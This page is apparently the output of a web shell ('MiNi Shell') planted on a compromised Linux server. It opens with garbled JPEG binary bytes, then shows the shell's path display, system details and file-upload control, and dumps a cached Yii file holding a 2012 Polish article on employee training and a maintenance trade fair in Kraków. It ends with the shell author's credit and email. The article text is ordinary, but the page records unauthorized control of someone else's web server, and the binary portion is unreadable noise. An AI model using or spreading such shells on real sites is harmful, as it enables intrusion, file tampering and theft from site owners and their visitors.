JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/b9/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //home/vmanager/www/frontend/runtime/cache/b9/b904368e3af36ee6e9f046d2778a2b65.bin

a:2:{i:0;a:2:{i:0;s:12543:" 
                    
                    <h3 class="title" itemprop="headline">Szkolenia pracowników to inwestycja w rozwój firmy</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 20-06-2012, 00:00</strong>
                        <meta itemprop="dateModified" content=" 20-06-2012, 00:00"/>
                        <div class="hide" itemprop="description">
	W większości kraj&oacute;w od wielu lat obserwuje się niesłabnące zapotrzebowanie na edukację, w tym na podwyższanie kwalifikacji pracownik&oacute;w przedsiębiorstw, determinowane zawrotnym tempem postępu technologicznego i coraz ostrzejszą walką konkurencyjną.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="narzedziownia.org">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.narzedziownia.org/images/loga/narzedziownia.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/1039/crop/800x600/cd681c258c-221933001571968245.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.narzedziownia.org/artykuly/szczegoly/1039"/>
                        
                                        </p>

                    <div class="lorem">
                        <table align="left" cellpadding="1" cellspacing="1" style="width:200px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/1039/0_upload_4b6b49c6ba.webp" style="margin:5px;width:200px;float:left;height:133px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				 </td>
		</tr>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/1039/0_upload_803dd17d11.webp" style="margin:5px;width:200px;float:left;height:133px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	<strong>W większości krajów od wielu lat obserwuje się niesłabnące zapotrzebowanie na edukację, w tym na podwyższanie kwalifikacji pracowników przedsiębiorstw, determinowane zawrotnym tempem postępu technologicznego i coraz ostrzejszą walką konkurencyjną.</strong></p><p>
	Szkolenia pracowników i doskonalenie ich umiejętności są coraz bardziej doceniane przez nowoczesne przedsiębiorstwa, szczególnie te, które realizują politykę kapitału ludzkiego i gdzie proces kształcenia i rozwoju kadry postrzegany jest jako ważna inwestycja przyczyniająca się do osiągania sukcesów. W czasach stale zwiększającej się konkurencji rynkowej każda organizacja, która chce zapewnić sobie dynamiczny rozwój, musi dbać o doskonalenie swoich pracowników. Warunkiem utrzymania się na rynku i bycia konkurencyjnym jest posiadanie dobrze przygotowanej i umotywowanej kadry, która bez problemów potrafi realizować stawiane przed nią zadania.</p><p>
	Szkolenia pracowników są w obecnych czasach jednym z najważniejszych zadań dla firmy, gdyż mogą stanowić o jej „być albo nie być”. W szkoleniu pracowników coraz więcej menedżerów upatruje sposób na wyprzedzenie konkurencji. Dzięki szkoleniom pracodawcy pomagają firmie i sobie samym. Właściwa strategia szkoleniowa, będąca pochodną strategii firmy może stać się jedną z przewag nad konkurencją i pozwala skutecznie ją wyprzedzić.</p><table align="right" cellpadding="1" cellspacing="1">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/1039/0_upload_07a771e217.webp" style="margin:5px;width:200px;float:right;height:133px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				 </td>
		</tr>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/1039/0_upload_765f4b665b.webp" style="margin:5px;width:200px;float:right;height:133px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	Oferta szkoleń, konferencji, seminariów dla działów produkcji czy utrzymania ruchu jest dzisiaj bardzo bogata. Niemniej, często zdarza się, że wiele z nich obfituje w prezentacje stricte reklamowe – prelegenci prezentują produkt, a nie jego zastosowanie, co nie przynosi ani żądanego efektu dla prezentującego, ani nie dostarcza wystarczającej wiedzy słuchaczom. Wygląda to tak jakbyśmy podczas prezentacji dowiedzieli się o parametrach najnowszego aparatu cyfrowego, nie wiedząc jak go praktycznie wykorzystać. Po co więc mamy kupować aparat kosztujący niemałą sumę, skoro będziemy robić nim zdjęcia takie same jak zwykłym aparatem kompaktowym kosztującym kilka albo kilkanaście razy mniej? Tak samo możemy sobie sprawić kamerę termowizyjną i postawić ją na półce, ponieważ nie będziemy wiedzieć jak ją obsługiwać. Wniosek jest jeden: słuchacze tego typu seminariów potrzebują wiedzy, którą będą umieli wykorzystać w praktyce, a wtedy zakupiony przez nich produkt nie będzie bezużytecznym nabytkiem.</p><p>
	Filozofię wykorzystania wiedzy w praktyce wyznaje organizator targów utrzymania ruchu, planowania i optymalizacji produkcji – MAINTENANCE – firma easyFairs Poland. easyFairs postanowiła bowiem zorganizować przy targach „Jesienną Szkołę Utrzymania Ruchu”, czyli cykl praktycznych szkoleń, podczas których słuchacze będą mogli zapoznać się z dobrymi praktykami produkcyjnymi i inżynierskimi stosowanymi w działach utrzymania ruchu.</p><table align="left" cellpadding="1" cellspacing="1" style="width:200px;">
	<tbody>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/1039/0_upload_2fa9a55aeb.webp" style="margin:5px;width:200px;float:left;height:133px;" loading="lazy" /></td>
		</tr>
		<tr>
			<td>
				 </td>
		</tr>
		<tr>
			<td>
				<img alt="" src="https://common.v-manager.pl/uploads/source/articles/1039/0_upload_2f63299f8f.webp" style="margin:5px;width:200px;float:left;height:133px;" loading="lazy" /></td>
		</tr>
	</tbody>
</table><p>
	„Zdajemy sobie sprawę, że szkolenia praktyczne w tym sektorze są jak najbardziej pożądane.”– mówi Ewa Woch, dyrektor zarządzający easyFairs Poland –„Po ostatniej edycji targów otrzymaliśmy wiele tego typu sugestii od osób z branży – szefów utrzymania ruchu, dyrektorów technicznych czy ludzi na co dzień zmagających się z problemami w zakresie utrzymania ruchu. W trakcie targów zorganizujemy więc pierwszy cykl szkoleń praktycznych, który będzie w przyszłości kontynuowany na zasadzie „od ogółu do szczegółu”, tzn. słuchacze pierwszego cyklu będą mogli zaznajomić się z rozwinięciem poruszanej w tym roku problematyki podczas następnej edycji, uczestnicząc w drugim stopniu Szkoły. Oczywiście za rok będziemy również organizować pierwszy stopień szkoły dla nowych słuchaczy, których jak mniemam nie zabraknie.”</p><p>
	Uczestnicy szkoły będą mogli zapoznać się z szeroką tematyką, która obejmować będzie m.in. zasady dobrej praktyki inżynierskiej dotyczącej gospodarki mediami przemysłowymi, nowoczesne strategie i metodologie utrzymania ruchu, metody skutecznego wdrażania systemów IT wspomagających działy utrzymania ruchu i produkcji, optymalizację poziomu zużycia energii czy też umiejętne przeprowadzenie działań diagnostycznych.</p><p>
	Szkolenia w ramach Jesiennej Szkoły Utrzymania Ruchu odbędą się podczas targów utrzymania ruchu, planowania i optymalizacji produkcji – MAINTENANCE oraz towarzyszących im targów obróbki, magazynowania, logistyki i transportu materiałów sypkich i masowych – SyMas, 3-4 października 2012 roku w Krakowie. Organizatorzy już dziś zapraszają do udziału w nowym projekcie szkoleniowym.</p><p>
	<strong>Szczegółowe informacje można znaleźć na stronie internetowej organizatora targów</strong>: <a href="http://www.easyfairs.com" target="_blank" rel="noopener">www.easyfairs.com</a></p>
                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1" itemprop="author" itemscope itemtype="https://schema.org/Person">
                        <strong>Źródło:</strong> 
                        <span itemprop="name">
                                                            <a href="http://www.easyfairs.com" target="_blank">
                                                    
                            easyFairs Poland Sp.o.o.                                                        
                                                            </a>
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=konferencja" class="label label-default">konferencja</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=seminarium" class="label label-default">seminarium</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=szkolenie" class="label label-default">szkolenie</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=easyFairs" class="label label-default">easyFairs</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=SyMas" class="label label-default">SyMas</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Maintenance" class="label label-default">Maintenance</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.narzedziownia.org/artykuly/szczegoly/1039_szkolenia-pracownikow-to-inwestycja-w-rozwoj-firmy" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:12:"article_1039";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"f8f7afd56fd97050f9462da850387609";s:21:"0.33530500 1745914921";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com